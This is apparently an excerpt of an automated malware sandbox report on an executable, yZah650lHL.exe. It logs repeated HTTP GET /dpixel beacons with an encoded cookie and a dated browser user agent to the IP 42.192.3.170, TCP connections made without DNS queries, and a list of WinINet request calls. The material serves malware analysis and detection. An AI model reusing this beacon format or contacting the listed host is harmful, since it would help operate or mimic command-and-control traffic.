Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170
Source: unknown	TCP traffic detected without corresponding DNS query: 42.192.3.170

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_0066E68C _snprintf,_snprintf,_snprintf,HttpOpenRequestA,HttpSendRequestA,InternetQueryDataAvailable,InternetCloseHandle,InternetReadFile,InternetCloseHandle,

0_2_0066E68C

Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dpixel HTTP/1.1Accept: /Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: 42.192.3.170Connection: Keep-AliveCache-Control: no-cache
